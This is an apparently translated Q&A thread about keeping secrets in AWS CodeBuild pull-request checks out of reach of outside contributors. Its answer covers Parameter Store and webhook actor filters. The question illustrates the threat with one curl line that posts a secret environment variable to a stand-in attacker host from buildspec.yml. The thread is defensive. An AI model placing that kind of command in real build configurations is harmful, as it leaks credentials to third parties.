防止在没有手动干预的情况下运行GitHub PR检查

时间:2018-09-10 18:45:31

标签: github continuous-integration credentials

我遇到了一种情况,我打算在GitHub上公开一个仓库。

当前,一项PR检查在AWS CodeBuild上运行CI测试。

由于测试的性质,有些环境变量包含机密。构建输出的结果/日志不会公开,这是一件好事。

AWS CodeBuild使用buildspec.yml文件在CI中运行命令。

如果我有一个环境变量,例如$SECRET_THING,则攻击者可以简单地打开PR,并添加到buildspec.yml中,例如:

  - curl -X POST -d"thesecret=$SECRET_THING" https://mwahahahaha.com/grab_it

然后将这些秘密发送给自己。

使用GitHub中的设置,GitHub检查API或CodeBuild,是否有一种方法需要手动干预才能运行检查,最好在代码审查后进行? (例如,只有授权合作者可以在PR页面上单击按钮)

1 个答案:

答案 0 :(得分:0)

请勿使用纯文本环境变量,而应使用“ env>参数存储”来存储您的机密。如果您使用CodeBuild的控制台UI,则可以从“高级>环境”创建参数存储条目 变量>类型:参数存储“ https://aws.amazon.com/codebuild/latest/userguide/build-spec-ref.html#build-spec-ref-syntax

此外,CodeBuild允许您将buildspec定义为项目的一部分。这样,您的存储库中就不会存在buildspec yml文件。

注意:CodeBuild仅允许回购所有者或管理员创建Webhook。

更新:@Chris CodeBuild支持PR构建的过滤器组。文档@ https://docs.aws.amazon.com/codebuild/latest/userguide/sample-github-pull-request.html#sample-github-pull-request-filter-webhook-events-console。您可以筛选参与者,以确保只有受信任的协作者才能触发PR或推送事件的构建。